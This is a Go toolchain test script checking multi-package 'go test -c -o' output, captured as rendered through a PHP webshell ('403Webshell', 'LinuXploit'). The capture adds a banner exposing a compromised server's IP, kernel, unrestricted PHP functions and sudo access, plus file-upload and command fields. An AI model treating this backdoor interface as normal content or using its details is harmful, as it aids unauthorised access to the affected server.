403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/go/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/go/src/cmd/go/testdata/script/test_compile_multi_pkg.txt
[short] skip 'links test binaries'

# Verify test -c can output multiple executables to a directory.

# This test also serves as a regression test for https://go.dev/issue/62221:
# prior to the fix for that issue, it occasionally failed with ETXTBSY when
# run on Unix platforms.

go test -c -o $WORK/some/nonexisting/directory/ ./pkg/...
exists -exec $WORK/some/nonexisting/directory/pkg1.test$GOEXE
exists -exec $WORK/some/nonexisting/directory/pkg2.test$GOEXE

go test -c ./pkg/...
exists -exec pkg1.test$GOEXE
exists -exec pkg2.test$GOEXE

! go test -c -o $WORK/bin/test/bin.test.exe ./pkg/...
stderr '^with multiple packages, -o must refer to a directory or '$devnull

! go test -c ./...
stderr '^cannot write test binary pkg1.test for multiple packages:\nexample/anotherpkg/pkg1\nexample/pkg/pkg1'

! go test -c -o $WORK/bin/test/ ./...
stderr '^cannot write test binary pkg1.test for multiple packages:\nexample/anotherpkg/pkg1\nexample/pkg/pkg1'

! go test -o $WORK/bin/filename.exe ./pkg/...
stderr '^with multiple packages, -o must refer to a directory or '$devnull

! go test -o $WORK/bin/ ./...
stderr '^cannot write test binary pkg1.test for multiple packages:\nexample/anotherpkg/pkg1\nexample/pkg/pkg1'

go test -c -o $devnull ./...

rm pkg1.test$GOEXE
rm pkg2.test$GOEXE
go test -o . ./pkg/...
exists -exec pkg1.test$GOEXE
exists -exec pkg2.test$GOEXE

-- go.mod --
module example

-- pkg/pkg1/pkg1_test.go --
package pkg1

-- pkg/pkg2/pkg2_test.go --
package pkg2

-- anotherpkg/pkg1/pkg1_test.go --
package pkg1

Youez - 2016 - github.com/yon3zu
LinuXploit